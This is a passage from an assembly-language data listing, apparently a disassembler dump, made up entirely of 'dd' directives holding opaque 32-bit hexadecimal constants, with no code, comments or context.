0F5FA21BAh, 0D9132E35h, 0F7A898A8h dd 0E7100100h, 4321278Eh, 0CCB2BDE5h, 4A11AC9Dh, 0B101268Fh dd 20B28DDCh, 11009D50h, 0DE7B2A3Ah, 2D927D73h, 0D4406FADh dd 0C502131Fh, 0D29EF064h, 0D4C8019Fh, 4133F88h, 0B9E0F8A6h dd 4400FAF4h, 0E11A1821h, 8D28C1h, 0C2D84CDBh, 5C482D10h dd 8099525Eh, 89AC943Ch, 0EF0C128Ch, 8B6C85ECh, 0C683C8CCh dd 64BB78E9h, 655124A1h, 701C3118h, 9956E7C1h, 14E04CA6h dd 940016D8h, 3633CCE6h, 5F5A7558h, 27345EE7h, 0FC070CDh dd 3D9DABAh, 401CB992h, 0F0128DC8h, 0DC8EFFB7h, 16C060C8h dd 37A422Bh, 5A74CEA5h, 0A81A8F87h, 5929C17Bh, 20F4A028h dd 0F0A0A181h, 0DE8054F2h, 80E8B6C6h, 6F88A2CDh, 7954E49h dd 35E09AD4h, 2C3AB3B2h, 8F8C5718h, 0E1B687BEh, 0C82F3A10h dd 0C1A7E510h, 6EC1BB46h, 84307CCEh, 0A034D45Eh, 0AF056418h dd 67EC0A2h, 4AC860CEh, 743716C0h, 0D7600B7h, 1E86EADDh dd 632DE2E9h, 1BE4C88Fh, 1DB300D9h, 672808DDh, 0C30EF3E6h dd 67C261B2h, 0AC244AD5h, 6C49D4EDh, 900535BCh, 5BCC759Bh dd 0B3229C04h, 0E1F08D07h, 6333B97Bh, 0B8EC5D28h, 6CC81730h dd 89086714h, 0A0E4BCC5h, 294E1860h, 7DCB3818h, 0C1F546h dd 0D767928Dh, 0DB4574D1h, 504AEE25h, 585EA4h, 6301E6F8h dd 979554F4h, 8703114Ch, 16D10E46h, 7860A9D5h, 0D97E8853h dd 0A3AC040Bh, 2518FBE1h, 9B597C79h, 69EC9218h, 84C6CF3Bh dd 0AD0B2002h, 529430AFh, 31805474h, 22570003h, 823D53B4h dd 0A0B68CF8h, 11D4175Ah, 0EB1D8018h, 1D08399Ch, 0D630CBC0h dd 0AC9C8552h, 8C9FEC78h, 0E16F4A03h, 691AD2ECh, 6467B814h dd 5B620344h, 8753B380h, 2C2E5E3Bh, 0E289B0E3h, 0C0905CCDh dd 12438B8h, 7020365Fh, 0F2608317h, 1EB305C7h, 0ACCDA1CBh dd 0A32280A8h, 128C94FFh, 0D2C6B840h, 9057F3F0h, 3E919DC0h dd 0A200D5D9h, 41B4EC4h, 853E3B47h, 54D8021h, 337FF3CDh dd 0A867009Bh, 6395753Dh, 7F0DF80h, 0E20188B1h, 7CB56BF3h dd 0ACC470EEh, 5A7B3020h, 0F0F52771h, 898B8601h, 43DA2C69h dd 0E370D8h, 8393A6F1h, 0F0B2B4F6h, 0AC70219Fh, 4272CA0h dd 80C4DA4Ah, 285311CAh, 26162E94h, 6BD587CCh, 99092066h dd 6D00636Eh, 31C4873h, 96C2D26h, 0B3245101h, 44162054h dd 6CDAB857h, 60B224C7h, 0AF900CF9h, 2FB4525Dh, 0DD0E87Bh dd 6D6E04FEh, 0C17F6A7Eh, 0CA3164D1h, 7A4AAC5Ah, 90E81440h dd 5BA63C2h, 0EF620780h, 776C8015h, 0DC8ADA3Ch, 5246561Ch dd 0B41FD700h, 0B58EC816h, 2F308A3Fh, 0B13016AEh, 1889D18Ch dd 0B26E2559h, 88F9002Bh, 3AE35300h, 2E90C663h, 0ABC4B57Fh dd 23A50370h, 46F863AEh, 0CD3A5925h, 0E5BF013Fh, 5042D840h dd 0AEC0407Eh, 2BFE7C22h, 17E27900h, 4039B315h, 8F2654F8h dd 0A5662DB5h, 54B892h, 0F92B8B80h, 4D6ABDh, 0A6FFD9AFh dd 85B77001h, 29D80905h, 0C0B39227h, 8D880730h, 95007AC1h dd 9CA8ADB2h, 951C878Ah, 9B120481h, 0F0A4666Ah, 7933A12Ch dd 7F3D0F55h, 34821914h, 0C4DB0EA7h, 465CB8ACh, 0B3750002h dd 6A0052Ch, 0D4A3C07h, 8F265238h, 889C50B8h, 94C0FF26h dd 46740026h, 90E70999h, 5CF48774h, 7AE468C9h, 0B8C0C0BBh dd 5F32A321h, 2F206090h, 0DC335830h, 8090C32Dh, 5A056C49h dd 906D5864h, 210060B9h, 0D9109941h, 800370F3h, 6726EA66h dd 0E78B90D5h, 8C9C1249h, 0D1F8935Eh, 0CD6995D0h, 356DE105h dd 0A4126723h, 50D85474h, 0FC9000BBh, 1ADEC424h, 74BEE6EBh dd 94497D50h, 7465E50h, 0D8310377h, 8AB348BCh, 0FCDB71A2h dd 80A87D92h, 0A743DABCh, 50516B01h, 8CC68EECh, 21D716E0h dd 0CF800BBh, 0D5C2F5A2h, 0B1186324h, 9E990BEFh, 20957Ah dd 0E40D60E7h, 7B51F301h, 0B06E6314h, 0F63EE184h, 4027BE35h dd 0A2A86413h, 914052E8h, 0B310806Ch, 0FE3F23B8h, 5B24BCE2h dd 0E8052CACh, 10B8433Ch, 8C4AE8h, 0A0AA0FC1h, 0B16ECEFDh dd 339891B7h, 0AF040BC5h, 74B87474h, 38C22ACh, 0B854F301h dd 0C188D8AFh, 3A12D461h, 5CB1FAECh, 812C2A2Ah, 0EB23364Dh dd 0B4402075h, 17C026B1h, 0E00F345Eh, 0B61AF06Ch, 0B7C83EA2h dd 0AD7B8F08h, 0B08803CEh, 0C318C28h, 7ED0C059h, 0B0F06609h dd 0E45EB9h, 0AAC49812h, 1D281669h, 812D8907h, 5E228E63h dd 0D9B34033h, 2B7D6Eh, 0DD8A6CF6h, 0A34EA565h, 0A8B60F4Eh dd 4DAEBDB0h, 82A4DA0Fh, 0D02804h, 0DC90519Ch, 0E00B64ABh dd 82C97537h, 5C8B7E1Ch, 54676C0h, 34C9A301h, 6EEB0F1Bh dd 846008B1h, 2F50967Dh, 80C308EDh, 74FAE848h, 0B078008Fh dd 0E8D84610h, 0C412E9C1h, 90A47E72h, 0F220354h, 7C97C855h dd 0F8D59EE8h, 0D0733800h, 0C9D6D41Dh, 801302A2h, 9D5E4B67h dd 27012070h, 0B0CA771Eh, 3024B6ECh, 34CB1C9Bh, 8EDA935Bh dd 0CE6088F8h, 0AF7C16E0h, 752E9F35h, 0DA0D14C0h, 8BFC602Bh dd 0F8E2090Ah, 68A5CC8Ah, 0F8E0BCADh, 30FC8CB3h, 96E1B93Eh dd 204261C7h, 57D95B7Bh, 0FD04D0A3h, 62EB190Bh, 0E18843BEh dd 68648378h, 0EC6B18DBh, 0A81C30A0h, 0C24E9EECh, 15240A0h dd 2BCCC9D4h, 242D80ABh, 370CED0Ch, 11A2FA96h, 0E7E4033Eh dd 0A1912FE5h, 7120D0C5h, 0D3887B4Dh, 0FCD82F60h, 2C48806Ah dd 6805B0Ah, 41C00169h, 0BE9EC74Ch, 13C4291Eh, 0E0CB89C8h dd 0A207E3DDh, 850035CDh, 4A2F8A68h, 8044DB5Eh, 856C4AF5h dd 0B6AD01B8h, 0B0331B1h, 9BB040D8h, 0CF4A3701h, 89C2C10h dd 461C2A2h, 0CDC12Ch, 4B442705h, 8A1F13E5h, 7CB84Ch, 7EFB2E51h dd 39A8A7h, 0F8EAF0E3h, 0EBE45AD7h, 0A117BCA0h, 30AEEC80h dd 0C458F523h, 120EEAEDh, 2975790Ah, 790851EEh, 15318A6h dd 0DC8219C9h, 0CE852232h, 8619FE2h, 137E019Ch, 0A46431A5h dd 1F03FCE8h, 1015723Ah, 0E162A2B7h, 218557FDh, 0E6F89BC1h dd 26A8B074h, 0AE9E0727h, 52C1E5A7h, 0E85236DBh, 0ACB36E2Ch dd 0D9C3ED62h, 188971B8h, 324F302Ah, 43FA3C49h, 56E3Ch dd 0DC9DBFA8h, 27754D41h, 50970F93h, 8A80B411h, 0F35608C3h dd 34509328h, 0C6BA600h, 4E1928C4h, 8FB600D8h, 5F9B1618h dd 44B064BCh, 0DE678480h, 0FCD8284Fh, 0E86480A0h, 50A3812Eh dd 0C820E8A8h, 36DCA06Bh, 8C9A5844h, 2718EC2Ch, 84040EEh dd 3820A705h, 0CD2730A3h, 0C099C4D4h, 519ADE10h, 8E7C5214h dd 8C0CB824h, 0B1D73909h, 3A24DA93h, 0A4BBB032h, 367BF480h dd 0C221E28Dh, 0D82DFDE6h, 0D1D8AB35h, 0A6AF0174h, 0F84B1F24h dd 50E2FA8h, 0C0E19246h, 3111B0AEh, 6C49975Eh, 0BEBC6007h dd 7E385500h, 4B39E764h, 0A55F0163h, 72C599Eh, 14082E50h dd 782B8031h, 0CAD3908h, 4BCAAE00h, 222F01C9h, 0A1870EA2h dd 0DBE0F19Bh, 539F038Ah, 23BCD551h, 249A4AF0h, 7FEC0498h dd 0A8FDC809h, 11B01D80h, 0A4D98120h, 6C706C7Ch, 0D0EE5804h dd 47C862Ch, 0BB844AA2h, 907F86Fh, 83379D07h, 0B5E868E7h dd 0BA0935F5h, 7408614Eh, 32EC4054h, 0E200CB16h, 0D580F96Bh dd 0B8293F2h, 4F1D3C53h, 400090FAh, 0A9B83448h, 27DF800Fh dd 34D2F621h dd 70DA164Ah, 39D916C3h, 3C4F99Dh, 8DAC449Ch, 0AE79E02Ch dd 9F7702B5h, 56F852B3h, 9E48A17Dh, 8C48ADEAh, 4A689045h dd 6B15h, 0E46EF80Ah, 4E1E6F1h, 43B0EA5h, 484CA943h, 0E4214FC1h dd 0C461EB50h, 0BC743AF4h, 18290F6Ch, 0E078E6D2h, 34C5ADDh dd 0A2D9D785h, 0CFC13AC8h, 62588463h, 0CB412CDh, 82B00F4Dh dd 0B855232Fh, 972D313Bh, 25805408h, 0B4E43065h, 0AFB1B067h dd 0BC29DB84h, 4F60A469h, 1703D9Eh, 0CBE035E5h, 8130394Bh dd 0AF77B208h, 70F87C4Fh, 0C1D673AAh, 9AA8BE10h, 3688D03Ch dd 2F1EA003h, 0B0CB487Ah, 1CAD69E6h, 0CD0D71h, 2AD08E88h dd 281F0321h, 40B06CC1h, 1620477h, 58F04A4Eh, 0F0D9BACBh dd 0B0606F6Dh, 0FBE0CF21h, 33360338h, 0B2E73A3h, 4E820818h dd 18EA20h, 2638FEFCh, 0BA651059h, 60B5D006h, 0B9ACB4h dd 0F2C7FD22h, 1325513Ah, 7CED3800h, 842610C4h, 95340772h dd 0F009DAD1h, 5EC058B1h, 0AD782A0Eh, 0BF354020h, 0C05297E0h dd 656FAF70h, 0D403C2CAh, 0CCAB135Bh, 1E081883h, 720820BFh dd 0C1ECCA01h, 5196F789h, 11593980h, 0C6CF1C05h, 3A5FA100h dd 8343987Ch, 196C335Eh, 0F90097D1h, 693DE0AFh, 50A767A6h dd 8C738C71h, 3EFBE604h, 87620336h, 0FBDEEC21h, 1C043DCh dd 0CC63C438h, 8CB7A90Ah, 48AC67E0h, 452D188Eh, 55270B9h dd 20B08530h, 52FD0302h, 0E5238096h, 0C9CA6401h, 581873D4h dd 6D0D21C0h, 3CEE14CAh, 4C366B3Dh, 6C46C018h, 31FBE502h dd 88311B36h, 0FBDDF110h, 38CF781Eh, 0F955DC80h, 84882CCh dd 0AFA63D56h, 6C330C0Fh, 0D2A898h, 273A6A0Ah, 0CBB477C1h dd 2600A849h, 9A3C45BBh, 6107419h, 7E89B3B8h, 318C07AEh dd 603988DFh, 0C8AA8F4Ch, 0BDC20D07h, 42850ED4h, 0BE412C18h dd 30DEE8EDh, 17118AD6h, 680192C4h, 0C26BE40Ch, 898EBF4h dd 0BC362123h, 6F909215h, 837700BCh, 0EE3A9DFh, 80880633h dd 0B169B4C4h, 0BC395474h, 9E1160B7h, 24E6703Eh, 0C4CCD835h dd 0C0834FA1h, 2BD57F70h, 0A0610CC2h, 7169AA6Ch, 44158FB0h dd 7C648E47h, 2DC4686h, 0C6692C6h, 137F31F4h, 20929034h dd 551EECEh, 88FB0CC5h, 29C00FBBh, 0A03285E1h, 804344Eh dd 0E13EB200h, 86D0F447h, 645E24C9h, 0A0B108B4h, 6A33D100h dd 0A4BE7755h, 703C0478h, 624835E4h, 0EC7927AAh, 3B2E5020h dd 59003FC2h, 0C134D15Bh, 3C4C4C8Eh, 0C3925D0Eh, 90E72BE4h dd 5ECDDA4Ch, 0A6ECFA18h, 742574B0h, 0A788C2A5h, 0E0481F97h dd 0A30062EBh, 0A0FF36EEh, 17475A38h, 89381h, 929A76Ah dd 0E100A961h, 0BD0FE76Eh, 3FC6E696h, 60CC692Ch, 8C7CE8h dd 3AE2F159h, 9A9C330Dh, 31B4A0C4h, 9754B4D2h, 80A49190h dd 9D7C49FCh, 2A0102BBh, 276EC0F8h, 0F460CC80h, 0A4122B44h dd 0F008AFC7h, 0CA66C3E7h, 1883D4E9h, 6F0F8859h, 0D2C3CA03h dd 0B66D33h, 4A46C1E9h, 28C57902h, 0B50C4C13h, 71AEC020h dd 80900E7h, 34944B7Eh, 0E00FB216h, 211E1DEDh, 0A8874F22h dd 0DD4841CEh, 9208C918h, 0C4BC0C65h, 0C1354072h, 0BC5F792h dd 3998D20Bh, 42163D0Ch, 8B2440B2h, 4674A8FCh, 0B69D03B2h dd 386BDA98h, 7994F848h, 0BB0AA029h, 749C47C1h, 78025B46h dd 9981354Fh, 0AD9D3C40h, 0E29033F1h, 72BA307Dh, 0FB35FD3Bh dd 0B4A85562h, 75F044C8h, 75123537h, 2B43A8C1h, 320184C0h dd 3835EA70h, 3A7F000Eh, 673EA770h, 375901Dh, 0C3B76E14h dd 89247E6Ch, 80392819h, 88AACF67h, 782AD71h, 1F432001h dd 0D029A1F5h, 0D1047069h, 5841DE48h, 0DFAF15C0h, 92C780F4h dd 99EC0C67h, 0BF37C03Ch, 77003392h, 0E3D2632Bh, 14C4DB0Dh dd 0F06A840Ch, 642CC123h, 0C8BA025Ch, 0AD5752C0h, 1869B0C9h dd 3CFB08E4h, 7BC41336h, 0FBDCEE40h, 0D8246501h, 0D4A90C9Dh dd 0B118B3D1h, 7A1324FEh, 48200AD5h, 4CE02302h, 0BF3804BAh dd 8DF5192h, 68C0E138h, 48D4C5CAh, 9E0D453h, 6908CA71h dd 406C56A5h, 40AD8DC2h, 0CF2A6F0Eh, 11DAE0D9h, 165B7A31h dd 1EDE53C0h, 8E28E2B0h, 0F090382Fh, 2CA35B01h, 4DF80AB8h dd 747818A4h, 1738646h, 4EF38F0h, 50BAB423h, 5750B888h dd 0B3667F0Eh, 7EC0E0BEh, 1EE1193Ch, 6C671D8Eh, 3E2900E4h dd 50C386Eh, 0FCC87658h, 265C8C72h, 623C0F4Eh, 3789FF4Ah dd 0C62C00CBh, 4B97B4h, 0F33F9F08h, 0AD5CD173h, 7A99361Fh dd 98091824h, 0BFA80467h, 0E7703F60h, 0CC303526h, 70F87E71h dd 0E4E8003Ah, 0DE459C05h, 0BD013724h, 9DB1066h, 20B8FDh dd 20D8983Fh, 310A1FE6h, 3C6B9AF1h, 380FB805h, 98DBACD5h dd 0CDE19F80h, 0B0E27185h, 0E63DB9E2h, 40661CCCh, 0AC9CA344h dd 8C6E4CCCh, 3BFBE704h, 89620B36h, 0FBDFEF20h, 92FF004Bh dd 16AC113Eh, 0AE6C02B8h, 401ED841h, 0B5593F83h, 13A2340h dd 0D4C8CA67h, 402A186Bh, 6C0112BFh, 0B34C09CAh, 0D8DB6DEEh dd 75F8983Ah, 8758C039h, 0D1C9B4BCh, 6EBC7350h, 24228209h dd 0E6A8009Eh, 4B3E9933h, 0D4500F4Eh, 4B6E8520h, 1E24F3BBh dd 3F66C4Fh, 0CF203A72h, 32E8270Fh, 0AC908795h, 0D71850A0h dd 92C20286h, 6C140C6Ah, 30117C19h, 8DD830BAh, 0FC296F02h dd 0A049969Eh, 0E2F68B90h, 0C39C1959h, 1870A832h, 3DFB09E1h dd 1C3B36h, 0FC19ED00h, 0D2DB563Ah, 75480137h, 7AE1AE87h dd 843C30FFh, 3040B040h, 0BB908F92h, 61D3CAF1h, 80C23008h dd 4E9340Bh, 0EF696C93h, 43F40F21h, 8EB48E52h, 2BAB0429h dd 0BA9CECF9h, 3A3F78C0h, 0FEDA2CFFh, 8C191504h, 6992C580h dd 6B43DC0Ch, 31002022h, 0FF6D92BDh, 4946C0F9h, 1677908Dh dd 45B22212h, 8EBC3474h, 0C08988A8h, 0E326C56Ah, 44D53A00h dd 48059E60h, 4802FE03h, 0DC0E184Fh, 0DA09B492h, 83C4C865h dd 67088660h, 62097E78h, 2BF782Bh, 21ACA88h, 0F498B437h dd 2C7044BBh, 0F5230602h, 83B6F022h, 48C05FCCh, 1A22D420h dd 724430A7h, 0F9CC8260h, 0C83BC300h, 0C136D14Ch, 7A9CBA4Ah dd 8C1A2E64h, 66C68278h, 20721286h, 9C1B020Dh, 744190BCh dd 1883D515h, 2F7D248Eh, 9319E7F0h, 0E8502548h, 7B008C7Ah dd 0A72AD05Dh, 1C12744h, 0C887DF6Ch, 5057975Eh, 0C420B190h dd 0A3E12C00h, 42D47091h, 50D350A5h, 0E1AA4094h, 8B53326h dd 31418C2Ch, 1824C299h, 504B6B58h, 0C200B4BDh, 51846EF8h dd 37FC04EDh, 0B14DDD8h, 91B89754h, 138980AAh, 1A2239Fh dd 0AB1518C8h, 0DC328734h, 59D3172Ah, 0A1233C2Fh, 0B9817B00h dd 2ADE9F9Dh, 0C8B76Ch, 0C4834755h, 8D302E60h, 885A962Ah dd 843C2700h, 6DE7BC19h, 0DBF701E5h, 6FDFFF61h, 9E0203Eh dd 7082E926h, 89053C40h, 4108A27Dh, 6118E4ECh, 0D4C6CA0Bh dd 3589C7Bh, 5DCA6E0Ch, 1BB0FE74h, 0E0A0AEA8h, 0C72442D0h dd 200048Eh, 56F1CC67h, 9E19035Bh, 6048700Ah, 0B9B768E0h dd 5682F1C0h, 18B6C4h, 39FE5496h, 20A975E1h, 9F099C7Ch dd 0E82A8E6Ch, 0E6EE6B4h, 5608C69Eh, 0F8E5FFC9h, 18BE59E2h dd 1E0B07DCh, 878AF8D6h, 0C4F6B40Ch, 9B5827C8h, 0B865A4A9h dd 9C6120E4h, 0C33CDh, 0C0D9F09Ah, 1A5E5243h, 60A104FAh dd 27E210E5h, 80A218BFh, 0BA48A805h, 87853D4Ch, 308A000h dd 17C2A59h, 0CFF0CCADh, 885AE3D1h, 0BAF78D0h, 1806EC86h dd 42F08128h, 7A4124h, 7420E245h, 236492C8h, 2111C40Ch dd 92C04A00h dd 0DAF6B3AEh, 416CCF0Bh, 88884550h, 3549AC6Eh, 0A74880F0h dd 6D03023h, 0F896A504h, 4C11EDAh, 7832C02Eh, 2276EE16h dd 0B4EAD87Ch, 7C446447h, 68431F60h, 2ED19200h, 0F880E361h dd 6FDE30A0h, 1E950B68h, 0E57CF27Dh, 7860A9FAh, 90F46818h dd 8768924Fh, 602544ECh, 3408C22h, 0E9FAF0BDh, 9907796Ch dd 92AC29FFh, 6AF99790h, 0B3F2161Fh, 19EC05B2h, 0B240A374h dd 613430A4h, 41F56D00h, 82F881AEh, 9599143Ch, 584CD866h dd 2444211h, 0A00E75F4h, 3DD5E16Ah, 749879A4h, 0DB1FB346h dd 42CA6AEh, 87B6A932h, 0B12A3060h, 0AD547BE8h, 64B6AFE0h dd 0BF27215Eh, 95A88881h, 78305C7Fh, 60CC643Dh, 3894CDE5h dd 6A007BB0h, 21D162B4h, 12C4CE6Eh, 45F511DAh, 5D7F6CA8h dd 0D9C84EC0h, 414887A6h, 0C1164898h, 0BC095476h, 9F102932h dd 9DA51120h, 71BAA100h, 0BE99387h, 0F5262313h, 0CC09C044h dd 9CF5BD8h, 8C0E002h, 1228F602h, 82708172h, 59D284h, 69187BF1h dd 1DD8640Dh, 0D020C87Ch, 619F0062h, 6F15D099h, 0B42663A7h dd 74A310E5h, 0F4E1658h, 0B6D0B0D5h, 75173320h, 0C07C9E5Fh dd 0E04A8BAh, 0A1F83674h, 3E0AC90h, 4EAB2D68h, 0DB007CB7h dd 0E7090C0Ah, 0C0363BD3h, 84DC8AAEh, 0C01C6699h, 10570E24h dd 282FBC4Fh, 97057A23h, 54C9C602h, 20AABC02h, 0D0A91079h dd 9299C0Fh, 67E00535h, 0B12C74C1h, 30FBDA01h, 9F40B8C8h dd 6FD7298Ch, 1886D1E0h, 5DCE3997h, 0B7E8E089h, 151BF848h dd 320B7075h, 20D82303h, 8660E16Ch, 5EE49691h, 81BE5B21h dd 0A532D786h, 0C1C6078h, 38232Fh, 0D5E67A28h, 2C7C00F8h dd 0F2B024D6h, 0CB37B4E3h, 8EB591A2h, 0E159D040h, 15C67Bh dd 8B23DB13h, 3D8399FBh, 0D678680Ch, 1D652981h, 400453BBh dd 0D31E4D0Dh, 6725E6DAh, 3A4B7FAh, 0AAA53D59h, 996B9CF8h dd 19262D25h, 702CED94h, 8C7FB8h, 7BE56A22h, 4263D782h dd 0AC05352Eh, 4464D48Bh, 9EBB1638h, 1109568h, 0E0322C6Ch dd 43A040BEh, 30248E59h, 372DAC6Eh, 7FE384F4h, 38C0F19Ah dd 20659FB8h, 1F20EA20h, 8F7501F7h, 1D9809C5h, 95D400BFh dd 3120064h, 6BEA4FBAh, 0CB00798Bh, 70D00EA1h, 6E45378h dd 268E6C5h, 18EDA071h, 0C4CA086Bh, 20C64BD4h, 700E0061h dd 8A7D15CAh, 0C0003457h, 0CCBB590Fh, 3E44F461h, 1A899B6Fh dd 883BB788h, 0FBEA60ECh, 0E3361332h, 0F0682CA2h, 0D6FBE200h dd 434CBB25h, 0D0280F7Ah, 35657869h, 97C40271h, 0D0D3C7BFh dd 0CEFF70h, 7E248E49h, 0D7B4BF94h, 2F887959h, 0D1D4A081h dd 7C3C7DF8h, 33C602B5h, 8421AA06h, 91607478h, 69996031h dd 0B612F5Eh, 2A08501Dh, 0AC560BFh, 940B4D64h, 826925EFh dd 116B54Ch, 60ABB4D0h, 9D8A81E4h, 807C1170h, 0A87321EDh dd 4A278C9h, 4EA0C7E1h, 0E2A0C427h, 317BF2BCh, 70B1F1D5h dd 39178627h, 309AED64h, 634AABC0h, 8213A6A1h, 70810C1Ah dd 0C450B6B7h, 0EE3AB908h, 47AB0B02h, 0AC98606Fh, 3D3D0F57h dd 0ED3B0784h, 68D1BC78h, 0C44E7022h, 0ACC02788h, 30A8Fh dd 92612FFAh, 8896887h, 14B8BB74h, 99410E27h, 9854D3D0h dd 4600A06Fh, 5E1356BDh, 0A496B4C5h, 0D0B73980h, 1D73A1AAh dd 49368FF8h, 0B4E62442h, 48BE58h, 0FFE1DB3Dh, 0C077DEF0h dd 0D07F7CA0h, 6CBEDA06h, 70EE0ED6h, 5E493499h, 0D036D040h dd 0A9142227h, 79885994h, 50C187Ah, 0F3F8CCA4h, 0F424C2FDh dd 79C4AC79h, 48708752h, 56EC1249h, 89EC4020h, 9F63EFCh dd 7F714700h, 64946F30h, 8C192EF8h, 94C66980h, 72449CA7h dd 0BC809E60h, 0A6D3E101h, 342FB512h, 83A26833h, 9B1030h dd 4A81CEC8h, 97DDC5CBh, 3401C49h, 419F796Eh, 0A8249B64h dd 0C530A6h, 0C003B9D0h, 9EB8C87Ah, 3BE66601h, 0AD55D699h dd 9A22F029h, 465EE4BEh, 4E970F7Dh, 785280C3h, 2C0AD2C6h dd 257C8575h, 2C3CE861h, 0C0BD8814h, 35E17039h, 4486CCE0h dd 70FC80ADh, 0E4509B01h, 75FEC836h, 2C6BCC40h, 21885A2Ah dd 80792D64h, 4A24D170h, 0C86F8297h, 28036D8h, 0FE3AD06Ah dd 440492F5h, 0E93FC7ACh, 3140058Ch, 0DCC89F6Eh, 25F818B0h dd 54CB7089h, 60D0D091h, 7C840A76h, 249440CEh, 11C80018h dd 25703407h, 0D0FA9100h, 86836085h, 0F398397Ch, 77937687h dd 0DFA5811Ah, 1000F382h, 0D544264h, 19AFE4FCh, 834FF73h dd 8021BF6Ch, 0CC6954EAh, 62E1531h, 49929E02h, 7E015078h dd 778EBD08h, 4E0F284h, 388F6F9Dh, 0BAAA1C00h, 0D87D112Ch dd 0CFF98819h, 21848008h, 80BAA239h, 2634A79Dh, 9B95F526h dd 0F8450707h, 80902A00h, 6310D86h, 0D4D85EB4h, 9200BB2Eh dd 0CFCA11F3h, 28E6855Dh, 1E887A7Bh, 0C02E9793h, 1819FCA9h dd 4966F48Fh, 218308h, 8ECF3731h, 6AF5D002h, 0E67990A0h dd 607BDC30h, 3DC784F4h, 0EC8FCC58h, 8EA0E81Ah, 731705Eh dd 8727FF18h, 244B628h, 15627F78h, 0C8A07BCEh, 0AAC21E93h dd 5727920Fh, 19702C0Dh, 85150001h, 9DFAA423h, 73007AB2h dd 40EA876h, 19478F3Ah, 0D0826AB6h, 83118EBh, 11FCA8CFh dd 364E81C4h, 0F96ECF21h, 7412DCEFh, 37AC19C0h, 48A4DCD6h dd 4100C2Eh, 0D4606881h, 0AC800A11h, 0A8112ABAh, 4F7D448Ch dd 48BAA400h, 80AC4643h, 0ED010FD6h, 74814AC5h, 5B24DD3h dd 17CC7BBh, 847162F6h, 87FF98E0h, 0C5F72490h, 189C60FEh dd 8BFA51E3h, 0CE57A300h, 3E72CBE6h, 1A5F297h, 0C7F2166Eh dd 269E7C1Bh, 543D0254h, 31ECFC08h, 0E5431070h, 0EB260054h dd 0C7596074h, 0A1FDB97h, 0AE890727h, 9D8812F8h, 822B1154h dd 0C0BEE308h, 6002F588h, 0F816C89Bh, 10907B74h, 829E2603h dd 1D79C625h, 6BD7C39h, 11947433h, 0C208B300h, 695B1A3Dh dd 0C9127F78h, 0E8306D08h, 70009361h, 0FED9DDC8h, 924DCB7Eh dd 0C42C8738h, 67236061h, 9297319Ah, 0DC4F1A49h, 252C29B2h dd 6D03F02Fh, 0E820B5F0h, 1493C482h, 0B085070Fh, 93EA1C50h dd 0CF2A014Ch, 1839FCADh, 3531C048h, 0A01CCF33h, 8078100h dd 7491666Eh, 260EE040h, 5203EEAh, 5D81F798h, 91FA0CE0h dd 0C8141AD1h, 18AC3250h, 49B175CCh, 901C77E6h, 0A4AE2464h dd 11693EC8h, 309E1830h, 0E2149773h, 7C8ACDCh, 34DB25C7h dd 0A60CE883h, 0FF7C58h, 24ECBE1Ch, 99D0FCA4h, 3E40B761h dd 0E9807D7Ah, 27B160Ch, 1C00FFEAh, 0BB9D7072h, 125073D2h dd 8B9CC05h, 44C0A354h, 43FC0F54h, 0ECC09F34h, 4809C354h dd 6F6FAFCh, 9D01CAABh, 27CE990h, 0F157B30Fh, 110A630Bh dd 474AAFFh, 4618CB09h, 87BDB0CCh, 676207F1h, 6F73EEBh dd 1624C844h, 0D14768F0h, 4EC5000Fh, 0C07E7AECh, 74FB8361h dd 89F09043h, 47708800h, 3C4AA72Dh, 731A1453h, 1F10CC68h dd 7CBC565Bh, 48D44B56h, 8C25E844h, 0FE605636h, 0E918C191h dd 0A889FD98h, 0F215C411h, 41D42E43h, 0A47C3014h, 5437058Ch dd 383CFC12h, 3F0145D4h, 0C325C154h, 0E203787h, 7A0A1624h dd 31A81FBCh, 220DFB29h, 44090068h, 0EFA7130Bh, 0A23CA988h dd 540B4118h, 1C4CFC0Ch, 0E93F00B8h, 2B963554h, 0A5F2761Bh dd 38988626h, 78207C02h, 59910216h, 0B3E0306Dh, 12C54518h dd 9FC7082h, 0D8AC63C8h, 48C2F50h, 1A41C20Ch, 2CCE3Bh dd 0D4C204D2h, 26FA29C7h, 3F53DEC5h, 0E3745001h, 20431DA5h dd 80ACA12Ch dd 9543E02h, 16B004FCh, 54E64603h, 0E108A7C4h, 0A0EE9CF7h dd 6B2A36F4h, 2DF200CAh, 0C0C5CC4Bh, 7F048B4Ah, 7A04BE58h dd 14BAE888h, 9426BCE8h, 8F39C900h, 59432C5Ch, 0E9469890h dd 0AACF2702h, 4F3141FCh, 0CF883413h, 0BB177F21h, 1C0F95D1h dd 601FB21Dh, 24DCD4h, 1288D97Eh, 122C8934h, 854C120h dd 0ABC00770h, 46112DBAh, 3C887ED0h, 4ABA00A3h, 0EF137EBEh dd 9B488C49h, 202C7220h, 246234E0h, 81B4CCD1h, 0D1832DCh dd 1A36C208h, 4067C443h, 0E2C205D5h, 0FA020047h, 44208D10h dd 0ACE89A9Eh, 0F4682966h, 77744E0h, 0A9289C31h, 32E1A34Bh dd 85805432h, 0AC52D1A5h, 0C03690C8h, 1A42C209h, 66226346h dd 0C241D100h, 0CFA54C71h, 0E55C05AFh, 8AF7C6BDh, 0B0623DCh dd 7085BAA8h, 5DC8EC8h, 0B1BAA03Bh, 742714EBh, 123035A2h dd 1A3710C2h, 0AD4E00Bh, 0A8CC00C2h, 9D6246Dh, 9109DA8Dh dd 855D100Eh, 0FC985474h, 6C2012DCh, 2540347Eh, 617C80A4h dd 0F8FEB65Ch, 9A198860h, 0D27F28E8h, 0C1286430h, 1C81CC84h dd 2F724A63h, 854D107Ch, 0E9A1F6CEh, 0C8D281EAh, 0F0008D6h dd 0DC1D8F87h, 48488A37h, 6AE8D8AEh, 0A5B30E8Ch, 3863040Ch dd 0B8811ABDh, 0FDB88980h, 11549DB9h, 3F9D66h, 0C31E045Dh dd 1852C485h, 797EDC3Ch, 9500E79Fh, 2D89D862h, 7C207C0h dd 0E2A83B47h, 8102B1Eh, 0D9029E84h, 983692A4h, 0D9010FCh dd 66C80F14h, 0F0127CE0h, 340067C5h, 0A3D912D6h, 0DFE3265Ch dd 0EACF40E4h, 0AB00D3DBh, 2FA5DCEBh, 1C7A343h, 1A275C04h dd 63BD1B99h, 0C558B734h, 4BC5814Ah, 42F87009h, 9774F0A0h dd 958298A8h, 75513000h, 0F02B61ADh, 69B90402h, 0D38820BAh dd 0D0002E74h, 91809437h, 4131D802h, 3054ED6Dh, 4102F91Ch dd 7BA8AC79h, 0A984A07Ch, 757ED609h, 5DB5002Ch, 98EA3467h dd 3E003564h, 0EC2E0FADh, 25DB8208h, 0CC1DD51Bh, 6806A11h dd 